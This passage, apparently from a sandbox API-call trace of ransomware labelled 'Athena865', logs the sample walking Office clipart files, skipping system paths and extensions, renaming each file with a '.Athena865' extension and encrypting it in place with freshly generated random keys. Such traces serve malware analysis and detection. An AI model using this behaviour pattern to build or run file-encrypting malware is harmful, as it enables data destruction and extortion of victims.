dwFlags=0x1) returned 1 [0121.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.064] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10607) returned 1 [0121.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.065] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.065] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.065] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.065] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c70, lpName=0x0) returned 0x154 [0121.067] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c70) returned 0x100000 [0121.070] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.070] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.071] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.071] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.071] CloseHandle (hObject=0x154) returned 1 [0121.072] CloseHandle (hObject=0x17c) returned 1 [0121.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.072] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".") returned 1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="..") returned 1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="windows") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="bootmgr") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="temp") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="pagefile.sys") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="boot") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="ids.txt") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="ntuser.dat") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="perflogs") returned -1 [0121.072] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="MSBuild") returned -1 [0121.072] lstrlenW (lpString="AG00142_.GIF") returned 12 [0121.072] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00142_.GIF" | out: lpString1="AG00142_.GIF") returned="AG00142_.GIF" [0121.072] lstrlenW (lpString="AG00142_.GIF") returned 12 [0121.073] lstrlenW (lpString="Athena865") returned 9 [0121.073] lstrcmpiW (lpString1="0142_.GIF", lpString2="Athena865") returned -1 [0121.073] lstrlenW (lpString=".dll") returned 4 [0121.073] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".dll") returned 1 [0121.073] lstrlenW (lpString=".lnk") returned 4 [0121.073] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".lnk") returned 1 [0121.073] lstrlenW (lpString=".ini") returned 4 [0121.073] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".ini") returned 1 [0121.073] lstrlenW (lpString=".sys") returned 4 [0121.073] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".sys") returned 1 [0121.073] lstrlenW (lpString="AG00142_.GIF") returned 12 [0121.073] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.Athena865") returned 73 [0121.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.athena865"), dwFlags=0x1) returned 1 [0121.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.074] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15308) returned 1 [0121.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.074] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.074] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.075] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.075] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.075] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ed0, lpName=0x0) returned 0x154 [0121.077] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ed0) returned 0x100000 [0121.081] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.082] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.082] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.083] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.083] CloseHandle (hObject=0x154) returned 1 [0121.083] CloseHandle (hObject=0x17c) returned 1 [0121.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.083] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".") returned 1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="..") returned 1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="windows") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="bootmgr") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="temp") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="pagefile.sys") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="boot") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="ids.txt") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="ntuser.dat") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="perflogs") returned -1 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="MSBuild") returned -1 [0121.084] lstrlenW (lpString="AG00154_.GIF") returned 12 [0121.084] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00154_.GIF" | out: lpString1="AG00154_.GIF") returned="AG00154_.GIF" [0121.084] lstrlenW (lpString="AG00154_.GIF") returned 12 [0121.084] lstrlenW (lpString="Athena865") returned 9 [0121.084] lstrcmpiW (lpString1="0154_.GIF", lpString2="Athena865") returned -1 [0121.084] lstrlenW (lpString=".dll") returned 4 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".dll") returned 1 [0121.084] lstrlenW (lpString=".lnk") returned 4 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".lnk") returned 1 [0121.084] lstrlenW (lpString=".ini") returned 4 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".ini") returned 1 [0121.084] lstrlenW (lpString=".sys") returned 4 [0121.084] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".sys") returned 1 [0121.084] lstrlenW (lpString="AG00154_.GIF") returned 12 [0121.085] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.Athena865") returned 73 [0121.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.athena865"), dwFlags=0x1) returned 1 [0121.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.089] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5315) returned 1 [0121.089] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.090] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.090] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.090] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.091] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17d0, lpName=0x0) returned 0x154 [0121.093] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17d0) returned 0x100000 [0121.096] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.096] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.096] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.097] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.097] CloseHandle (hObject=0x154) returned 1 [0121.097] CloseHandle (hObject=0x17c) returned 1 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.098] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".") returned 1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="..") returned 1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="windows") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="bootmgr") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="temp") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="pagefile.sys") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="boot") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="ids.txt") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="ntuser.dat") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="perflogs") returned -1 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="MSBuild") returned -1 [0121.098] lstrlenW (lpString="AG00157_.GIF") returned 12 [0121.098] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00157_.GIF" | out: lpString1="AG00157_.GIF") returned="AG00157_.GIF" [0121.098] lstrlenW (lpString="AG00157_.GIF") returned 12 [0121.098] lstrlenW (lpString="Athena865") returned 9 [0121.098] lstrcmpiW (lpString1="0157_.GIF", lpString2="Athena865") returned -1 [0121.098] lstrlenW (lpString=".dll") returned 4 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".dll") returned 1 [0121.098] lstrlenW (lpString=".lnk") returned 4 [0121.098] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".lnk") returned 1 [0121.099] lstrlenW (lpString=".ini") returned 4 [0121.099] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".ini") returned 1 [0121.099] lstrlenW (lpString=".sys") returned 4 [0121.099] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".sys") returned 1 [0121.099] lstrlenW (lpString="AG00157_.GIF") returned 12 [0121.099] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.Athena865") returned 73 [0121.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.athena865"), dwFlags=0x1) returned 1 [0121.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.100] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4955) returned 1 [0121.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.100] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.101] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.101] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.101] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1660, lpName=0x0) returned 0x154 [0121.103] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1660) returned 0x100000 [0121.106] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.106] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.106] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.107] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.107] CloseHandle (hObject=0x154) returned 1 [0121.107] CloseHandle (hObject=0x17c) returned 1 [0121.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".") returned 1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="..") returned 1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="windows") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="bootmgr") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="temp") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="pagefile.sys") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="boot") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="ids.txt") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="ntuser.dat") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="perflogs") returned -1 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="MSBuild") returned -1 [0121.108] lstrlenW (lpString="AG00158_.GIF") returned 12 [0121.108] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00158_.GIF" | out: lpString1="AG00158_.GIF") returned="AG00158_.GIF" [0121.108] lstrlenW (lpString="AG00158_.GIF") returned 12 [0121.108] lstrlenW (lpString="Athena865") returned 9 [0121.108] lstrcmpiW (lpString1="0158_.GIF", lpString2="Athena865") returned -1 [0121.108] lstrlenW (lpString=".dll") returned 4 [0121.108] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".dll") returned 1 [0121.108] lstrlenW (lpString=".lnk") returned 4 [0121.109] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".lnk") returned 1 [0121.109] lstrlenW (lpString=".ini") returned 4 [0121.109] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".ini") returned 1 [0121.109] lstrlenW (lpString=".sys") returned 4 [0121.109] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".sys") returned 1 [0121.109] lstrlenW (lpString="AG00158_.GIF") returned 12 [0121.109] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.Athena865") returned 73 [0121.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.Athena865" 